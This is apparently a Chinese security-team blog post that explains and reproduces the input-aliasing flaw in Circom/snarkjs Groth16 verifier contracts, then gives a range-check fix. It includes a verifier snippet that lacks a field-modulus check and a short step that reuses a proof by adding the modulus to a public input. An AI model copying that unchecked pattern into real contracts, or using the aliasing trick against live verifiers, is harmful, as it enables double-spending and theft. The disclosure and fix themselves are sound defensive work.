返回文章库

Circom 验证合约输入假名漏洞深度分析与复现

查找币 漏洞披露 安全研究 Web3安全 区块链安全
Circom 验证合约输入假名漏洞深度分析与复现

作者:查找币安全团队

概述

零知识证明(ZKP)技术作为Web3安全领域的重要基石,其实现方案的安全性直接影响着整个生态系统的信任基础。近日,查找币安全团队在技术研究中发现,Circom框架生成的验证合约存在一个经典的“输入假名”漏洞,该漏洞最早由俄罗斯开发者poma在Semaphore项目中披露(相关Issue)。本文将从技术原理出发,详细解析该漏洞的成因、复现过程及修复方案,为开发者提供实践性安全指导。

前置知识:Circom与ZKP验证机制

零知识证明核心流程

零知识证明系统的核心是“证明系统”算法,其工作流程可概括为:

  1. 证明生成:证明者通过电路计算,生成见证数据(witness)和证明数据(proof)
  2. 链上验证:验证合约(verifier.sol)对提交的proof进行椭圆曲线校验
  3. 结果确认:验证通过即证明消息的真实性,无需暴露原始数据

Circom的技术特点

Circom作为主流的ZKP开发框架,支持Groth16和PlonK两种证明系统。其优势在于:

漏洞深度解析

1. 问题代码定位

漏洞核心存在于验证合约中的verifyHash函数。如下图所示,该函数通过记录见证数据的哈希值(hash1)来防止双花攻击。然而,漏洞恰恰出现在这个hash1的匹配机制上。

// 问题代码示意
function verifyHash(uint[] memory input, Proof memory proof) public returns (bool) {
    uint hash1 = input[0];
    require(!usedHashes[hash1], "Hash already used");
    usedHashes[hash1] = true;
    // ... 后续验证逻辑
}

按照正常设计,一组proof数据应仅对应唯一一个hash1进行验证。但实际代码中,这个假设并不成立。

2. 椭圆曲线校验机制

verify函数的核心逻辑是通过scalar_mul()函数实现椭圆曲线上的标量乘法。具体流程如下:

  1. 接收输入数组input和证明结构体Proof memory proof
  2. 对输入参数进行椭圆曲线计算
  3. 比较计算结果与证明中的给定值是否相等
  4. 若相等则验证通过

3. 输入假名(Input Aliasing)漏洞原理

在Solidity智能合约中,所有数值以uint256类型存储。然而,椭圆曲线运算涉及有限域Fq,其模数q远小于uint256的最大值。这意味着:

关键数据:在uint256范围内,最多有uint256_max / q个不同的整数可表示同一个点。对于常见的椭圆曲线,这个值约为5。这意味着同一组proof最多可以有5个不同的hash1通过合约验证。

漏洞复现过程

步骤1:构建简单电路

设计一个接收2个输入数据、返回1个见证数据的电路:

pragma circom 2.0.0;

template SimpleCircuit() {
    signal input a;
    signal input b;
    signal output hash1;

    hash1 <== a + b;
}

component main = SimpleCircuit();

步骤2:生成验证材料

执行以下命令生成所需文件:

# 编译电路
circom circuit.circom --r1cs --wasm --sym

# 生成zkey文件
snarkjs groth16 setup circuit.r1cs pot12_final.ptau circuit_final.zkey

# 导出验证合约
snarkjs zkey export solidityverifier circuit_final.zkey verifier.sol

步骤3:生成正常proof

// 生成正常证明
const { proof, publicSignals } = await snarkjs.groth16.fullProve(
    { a: 10, b: 20 },
    "circuit.wasm",
    "circuit_final.zkey"
);
// hash1 = 30

步骤4:构造攻击hash

// 构造假名hash
const q = 21888242871839275222246405745257275088548364400416034343698204186575808495617n;
const attackHash = 30n + q; // 与正常hash映射到相同Fq值

步骤5:验证结果

部署合约后,分别使用正常hash和攻击hash进行验证:

复现结论:同一组proof可以对应多个不同的hash值通过合约验证,输入假名漏洞确认存在。

漏洞修复方案

根本原因

漏洞本质在于:一组proof最多可以有5个不同的hash通过合约验证,这为双花攻击提供了可能性。

修复方法

限制所有输入的hash值必须小于有限域阶数q:

function verify(uint[] memory input, Proof memory proof) public returns (bool) {
    uint q = 21888242871839275222246405745257275088548364400416034343698204186575808495617;
    for (uint i = 0; i < input.length; i++) {
        require(input[i] < q, "Input exceeds field modulus");
    }
    // ... 原有验证逻辑
}

安全建议

  1. 验证域阶数:所有输入数值必须小于有限域阶数q
  2. 使用安全库:优先采用经过审计的密码学库
  3. 单元测试覆盖:包含边界值测试(如q-1、q、q+1)
  4. 代码审计:定期进行专业安全审计

总结

输入假名漏洞是零知识证明和密码学实现中的经典问题,其本质源于有限域运算的模数特性。开发者在进行密码学相关开发时,必须高度重视验证群的阶数约束。本案例再次证明,即使是在成熟的ZKP框架中,细微的实现疏忽也可能导致严重的安全漏洞。

查找币安全团队将持续关注ZKP生态的安全动态,为Web3开发者提供专业的技术支持与安全指南。


本文由查找币安全团队整理发布

前往社区查看和回复